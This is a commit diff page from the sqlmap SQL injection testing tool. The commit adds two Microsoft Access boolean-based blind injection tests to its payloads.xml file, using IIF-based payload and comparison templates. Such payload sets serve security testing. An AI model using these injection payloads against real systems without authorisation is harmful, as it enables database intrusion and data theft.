sqlmapproject/sqlmap
1
1
Fork 0
mirror of https://github.com/sqlmapproject/sqlmap.git synced 2025-04-27 04:13:45 +03:00
Code Issues Packages Projects Releases Wiki Activity

added some Microsoft Access payloads

Browse Source
This commit is contained in:
Miroslav Stampar 2011-02-21 20:04:50 +00:00
parent 3e8c204121
commit 08697e60a9
1 changed files with 39 additions and 2 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

41
xml/payloads.xml
View File

@ -727,7 +727,25 @@ Formats:
</details> </details>
</test> </test>
<!-- TODO: check against Microsoft Access and SAP MaxDB --> <test>
<title>Microsoft Access boolean-based blind - Parameter replace (original value)</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>1,3</clause>
<where>3</where>
<vector>IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
<request>
<payload>IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
</request>
<response>
<comparison>IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
</response>
<details>
<dbms>Microsoft Access</dbms>
</details>
</test>
<!-- TODO: check against SAP MaxDB -->
<!-- End of boolean-based blind tests - Parameter replace --> <!-- End of boolean-based blind tests - Parameter replace -->
@ -842,7 +860,26 @@ Formats:
<dbms>Oracle</dbms> <dbms>Oracle</dbms>
</details> </details>
</test> </test>
<!-- TODO: check against Microsoft Access and SAP MaxDB -->
<test>
<title>Microsoft Access boolean-based blind - GROUP BY and ORDER BY clauses</title>
<stype>1</stype>
<level>3</level>
<risk>1</risk>
<clause>2,3</clause>
<where>1</where>
<vector>, IIF([INFERENCE],[ORIGVALUE],1/0)</vector>
<request>
<payload>, IIF([RANDNUM]=[RANDNUM],[ORIGVALUE],1/0)</payload>
</request>
<response>
<comparison>, IIF([RANDNUM]=[RANDNUM1],[ORIGVALUE],1/0)</comparison>
</response>
<details>
<dbms>Microsoft Access</dbms>
</details>
</test>
<!-- TODO: check against SAP MaxDB -->
<!-- End of boolean-based blind tests - GROUP BY and ORDER BY clauses --> <!-- End of boolean-based blind tests - GROUP BY and ORDER BY clauses -->